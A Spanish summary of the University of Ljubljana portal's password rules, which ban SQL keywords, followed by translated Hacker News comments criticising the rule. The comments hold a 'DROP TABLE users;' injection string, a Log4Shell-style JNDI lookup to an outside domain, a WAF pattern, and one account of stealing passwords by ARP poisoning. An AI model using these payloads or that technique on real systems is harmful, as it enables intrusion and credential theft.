- El restablecimiento de contraseña del portal de ID de la University of Ljubljana exige ingresar el nombre de usuario, la nueva contraseña y su confirmación, con una estructura pensada para reducir errores de entrada en el proceso de recuperación de cuenta
- El nombre de usuario tiene un formato similar al de una dirección de correo electrónico; se muestra como ejemplo
js1234@student.uni-lj.si - La nueva contraseña debe tener al menos 10 caracteres y no puede incluir datos personales fáciles de adivinar, como el nombre o el apellido
- Debe cumplir al menos 3 criterios entre mayúsculas, minúsculas, números y los símbolos
-_.+@ - Tampoco se pueden usar en la contraseña palabras como
select,insert,update,deleteodrop, por lo que hay que verificar no solo la longitud, sino también patrones prohibidos
Flujo de entrada para restablecer la contraseña
- La pantalla está compuesta por los campos Username, New password y New password confirmation
- Los tres elementos aparecen marcados como required
- El nombre de usuario tiene un formato similar al de una dirección de correo electrónico
- El ejemplo de nombre de usuario correspondiente a John Smith es
js1234@student.uni-lj.si
- El ejemplo de nombre de usuario correspondiente a John Smith es
- Para reducir errores tipográficos, la nueva contraseña debe ingresarse dos veces
Reglas para la nueva contraseña
- La nueva contraseña se trata como un medio para proteger la identidad digital del usuario
- Deben evitarse las contraseñas fáciles de adivinar
- Ej.: nombre, apellido, nombre de la pareja, fecha de nacimiento
- La contraseña debe tener al menos 10 caracteres
- No puede incluir el nombre ni el apellido del usuario
- Debe cumplir al menos 3 de los siguientes criterios
- Letras mayúsculas del alfabeto inglés
- Letras minúsculas del alfabeto inglés
- Números
- Símbolos:
-_.+@
Palabras que no se pueden usar
- En la contraseña no se pueden usar las siguientes palabras
selectinsertupdatedeletedrop
1 comentarios
Comentarios de Hacker News
Ah, esa cadena la puse yo. Fue una solicitud de la gerencia y todavía no sé por qué.
Este sitio no almacena contraseñas; es más bien una interfaz bonita que envuelve un sistema externo de gestión de cuentas.
Había escuchado rumores de que, por validaciones raras en el campo de inicio de sesión de algunas apps legacy, los estudiantes no podían iniciar sesión con contraseñas que incluyeran ciertas cadenas, pero no conozco ningún caso real.
DROP TABLE users;como contraseña. Así se detectaría rapidísimo qué proveedor está manejando las contraseñas de forma absurdamente insegura.Eso significaría que ni sanitizan la entrada del usuario ni hashean u ocultan la contraseña, lo cual ya es un nivel de perjuicio social.
maxlengthdel campo del formulario de inicio de sesión.Me tomó mucho tiempo entender por qué sí podía iniciar sesión con el autocompletado del gestor de contraseñas, pero no al escribirla o pegarla manualmente. Era porque el autocompletado ignoraba
maxlength.Dijeron que no se podía incluir
"script", pero cuando tenía poco más de 10 años hackeé la gran plataforma social Nettby.no.Funcionaba eliminando todas las palabras prohibidas, y
scriptestaba entre ellas.Nettby no tenía HTTPS, así que robé las contraseñas de todos con un ataque de intermediario por ARP poisoning, y luego publiqué tonterías al azar en las cuentas de la gente mientras veía el caos. No espié nada; supongo que incluso mi yo de 14 años tenía al menos un mínimo de ética.
Sé que me van a criticar mucho, pero creo que al menos en algunos casos es una idea razonable.
En una organización hay mucha gente que hace mal código y mala arquitectura de sistemas, y faltan personas con la capacidad, autoridad y tiempo para detectarlo y obligar a cambiarlo.
En EE. UU. muchas veces no queda otra que trabajar con sitios web pésimamente programados, como los de instituciones médicas locales. En esos casos, quizá sea mejor asumir que la implementación puede ser tan terrible como suele pasar y recomendar mitigaciones acordes.
Los usuarios pueden probar fácilmente si realmente se permiten patrones de contraseña nominalmente prohibidos y reportar el problema al regulador, pero desde fuera no es tan fácil verificar si todo está bien implementado.
No es elegante y es trágico, pero quizá sea mejor aceptar que en la práctica las cosas suelen hacerse muy mal y hay poca supervisión, y pensar en mitigaciones que eviten los peores resultados.
Este tipo de medidas de seguridad muchas veces tapa problemas más profundos. Normalmente se implementan porque no se maneja con cuidado la entrada del usuario, y asumir que bloquear unas cuantas palabras clave “neutraliza” una vulnerabilidad potencial suele ser muy fácil de refutar. Basta ver los casos de eBay y JSFuck.
Odio esta forma de pensar. Los firewalls de aplicaciones web (WAF), las pruebas de penetración perezosas y los checklists de compliance han creado una enorme cantidad de teatro de seguridad, y estoy convencido de que han hecho que las empresas crean que es “seguro” y que “ya hicieron la debida diligencia” aunque expongan a internet público software escrito de forma ridículamente desastrosa.
El resultado es que otra vez recibo por correo una carta de disculpa de una empresa a la que tuve que entregar mis datos casi sin opción real, diciendo que mi información más sensible fue filtrada. Seguro todos se preocupaban muchísimo por mis datos, como para dejar que los robaran mediante una vulnerabilidad de una librería de serialización de Java de hace décadas.
[1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
Eso se ve mal en cualquier institución, pero es aún peor si se trata de una universidad, que se supone debería ser un bastión de gente con capacidad y autoridad.
Como consejo general sobre contraseñas, casi sería mejor que todo el mundo incluyera estas palabras clave para que el bug salga a la luz rápido. No debería quedar oculto hasta que solo los atacantes lo aprovechen.
Hay que aplicar hash con salt cientos de miles de veces y comparar contra los valores de salt y hash guardados en un archivo.
Si ni siquiera pueden hacer eso, no deberían estar escribiendo software que almacene credenciales. Lo digo en serio. La seguridad de software empieza por reconocer que los datos son tóxicos y que, si no se les trata con respeto, pueden llevar a una empresa a la quiebra.
Si te preocupa que el sistema pueda meter contraseñas en texto plano en una tabla de base de datos, entonces hay un millón de otras cosas terribles que también pueden salir mal en ese sistema. Por ejemplo, ¿qué pasa si el DBA copia y pega SQL desde Stack Overflow?
Si en la organización hay ingenieros incompetentes, mejor no dejar que implementen un sistema de autenticación propio y usar un framework open source ampliamente usado o un producto comercial.
Si el flujo de autenticación hace cualquier otra cosa además de aplicar salt y hash a la contraseña, y luego descartar la contraseña original en texto plano, entonces ese sistema entero no debería usarse.
Está bien. En su lugar pueden usar
truncate.Lo más gracioso de esta situación es que ni siquiera revisan todas las cadenas prohibidas.
Fuente: soy estudiante de esa escuela y lo probé por curiosidad.
En lugar de hacer imposible por completo la inyección SQL con procedimientos almacenados adecuados y otras técnicas, solo restringen unas cuantas palabras clave y esperan que los hackers no inventen algún método que ellos no contemplaron, como trucos de escape.
Probablemente funcione por un tiempo, hasta que alguien demuestre que no.
Hacer que la entrada del usuario no se mezcle con SQL ya no es ciencia espacial. No estamos en 2005.
Además, si esto realmente funciona, significaría que están almacenando las contraseñas sin hashearlas, y eso ya era una tontería incluso en 2005. Si aplicaran lo mismo al nombre de usuario u otros campos de entrada tendría un poco más de sentido, pero una contraseña jamás debería entrar a la base de datos de esa manera.
Alguien propuso campos delimitados por barras verticales, pero eso también se descartó. La razón era algo como: “en el pasado, algunos proxies de clientes rechazaban encabezados que contenían el carácter pipe”.
La programación tipo vudú no siempre surge solo por falta de análisis empírico. A veces también aparece cuando sabes que algo salió mal en el pasado, pero no tienes pruebas ni forma de responder.
Personalmente, preferiría simplemente desplegarlo, ver si se rompe y, si hace falta, resolverlo después con el cliente. Como era de esperarse, y por buenas razones, ese enfoque no era popular, así que al final no se usó el carácter pipe.
Creo que incluso ejecutábamos los scripts CGI con taint mode. ¿Alguien se acuerda de eso?
Un RDBMS puede soportar funciones hash, así que podrían guardarla con algo como
UPDATE USERS SET PASSWORD = SHA2($PASSWORD). En ese caso seguiría siendo vulnerable a inyección SQL, pero no estarían almacenando contraseñas sin hash.Hay buenas razones para recomendar hacer el hash en la capa de aplicación, pero si usas consultas parametrizadas correctamente, hacerlo en la base de datos tampoco es algo tan terrible.
Uf, jamás me van a atrapar. Mi contraseña es
${jndi:ldap://hunter2.com/totallylegit}.Los dominios solo pueden contener letras ASCII
a-zy dígitos0-9, y no se permiten asteriscos. El único símbolo permitido es el guion, y tampoco puede ir al principio ni al final.Viéndolo con optimismo, este requisito podría venir de un firewall de aplicaciones web (WAF) excesivamente estricto.
Otros comentarios ven esto como una “prueba” de que la seguridad de la aplicación es mala, pero no creo que se pueda llegar tan lejos. Lo que sí se puede concluir es que alguna parte del stack está implementada de forma pésima.
Suena como un vestigio heredado de un sistema viejo. He oído que algunas universidades y bancos usan mainframes antiguos para la autenticación central.
En algunos casos, según escuché, las contraseñas se guardaban en texto plano, se truncaban a 8 caracteres y solo permitían mayúsculas.
La razón principal para no actualizar estos sistemas, al menos por lo que he oído, es el costo y la complejidad. La idea sería algo como: en vez de gastar
$$$$para actualizar un sistema que ya funciona, gastemos solo$para restringir contraseñas y añadir “seguridad” básica.Hace unos años estaba creando una app para publicar artículos mediante la API de WordPress. Cada cliente tenía WordPress instalado en distintos entornos de hosting, y allí había varias funciones de “seguridad”.
Recibimos un reporte de error donde, al publicar en el blog, fallaba y se subía contenido vacío; uno de esos plugins de seguridad escaneaba entradas largas del blog y, si encontraba algo como
.... select from, reemplazaba ese parámetro POST por una cadena vacía.También vi un reporte de error parecido de otro cliente, donde se había inyectado JavaScript ofuscado dentro del texto HTML en un campo JSON de una solicitud enviada desde nuestro servidor. No estaba seguro de si era un plugin de “seguridad” o malware.
select, pero por lo general como parte de nombres de parámetros comoitemselect. Así que nos pusimos a buscar si había algún filtro tipo WAF en alguna parte del stack.Al final encontramos una configuración vieja en el servidor proxy, anterior incluso a cuando usábamos un WAF comercial, y esa configuración estaba buscando
SELECT.*UNION.Volvimos a revisar las URL y todas también tenían parámetros como
company=credit+union. Me tapé la cara de vergüenza, eliminé ese código y ya había suficientes protecciones en otros lugares.